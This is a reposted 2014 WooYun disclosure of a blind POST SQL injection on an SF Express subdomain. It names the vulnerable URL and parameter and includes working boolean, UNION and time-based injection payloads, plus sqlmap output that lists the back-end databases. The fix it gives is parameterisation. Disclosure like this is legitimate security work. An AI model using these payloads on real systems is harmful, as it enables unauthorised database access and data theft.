[公开漏洞]顺丰速运某分站注入漏洞

    来源:WooYun 浏览:600次 时间:2014-06-19
顺丰速运某分站注入漏洞 相关厂商: 顺丰速运 漏洞作者:greg.wu 提交时间:2014-05-05 14:01 公开时间:2014-06-19 14:01 漏洞类型:SQL注射漏洞 危害等级:高 自评Rank:15 漏洞状态: 厂商已经确认 漏洞来源:http://www.wooyun.org Tags标签: sql注入 漏洞详情 披露状态:

2014-05-05:细节已通知厂商并且等待厂商处理中
2014-05-05:厂商已经确认,细节仅向厂商公开
2014-05-15:细节向核心白帽子及相关领域专家公开
2014-05-25:细节向普通白帽子公开
2014-06-04:细节向实习白帽子公开
2014-06-19:细节向公众公开

简要描述:

顺丰速运某分站存在注入漏洞,盲注,post型

详细说明:

注入点:

http://ows-dfppe.sf-express.com/ows-dfp/$%7Bpath%7D/coverage_area!getCoverageCityList.action

post参数:

regionName=98605&level=3&lang=sc&region=us

其中regionName存在注入。

漏洞证明:

post数据:

regionName=98605%25' aND 1236=1236 aND '%25'='&level=3&lang=sc&region=us

返回正常,如图:

11.PNG





post数据:

regionName=98605%25' aND 1256=1236 aND '%25'='&level=3&lang=sc&region=us

返回异常

22.PNG





sqlmap跑库:

sqlmap identified the following injection points with a total of 38 HTTP(s) requests:

---

Place: POST

Parameter: regionName

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: regionName=98605%' AND 2644=2644 AND '%'='&level=3&lang=sc&region=us



Type: UNION query

Title: MySQL UNION query (NULL) - 2 columns

Payload: regionName=98605%' UNION ALL SELECT NULL,CONCAT(0x7174797371,0x44644d4352736b48514e,0x716c697871)#&level=3&lang=sc&region=us



Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: regionName=98605%' AND SLEEP(5) AND '%'='&level=3&lang=sc&region=us

---

[12:56:43] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL 5.0.11

[12:56:43] [INFO] fetching database names

available databases [4]:

[*] information_schema

[*] mysql

[*] opencms

[*] test



[12:56:43] [WARNING] HTTP error codes detected during run:

404 (Not Found) - 21 times

[12:56:43] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/ows-dfppe.sf-express.com'



修复方案:

过滤,参数化

版权声明:转载请注明来源 greg.wu@乌云 漏洞回应 厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2014-05-05 16:30

厂商回复:

感谢反馈,我们将尽快解决,多谢!!

最新状态:

暂无

当前位置:站长啦网站目录 » 站长资讯 » 站长新闻 » 漏洞预警 » 文章详细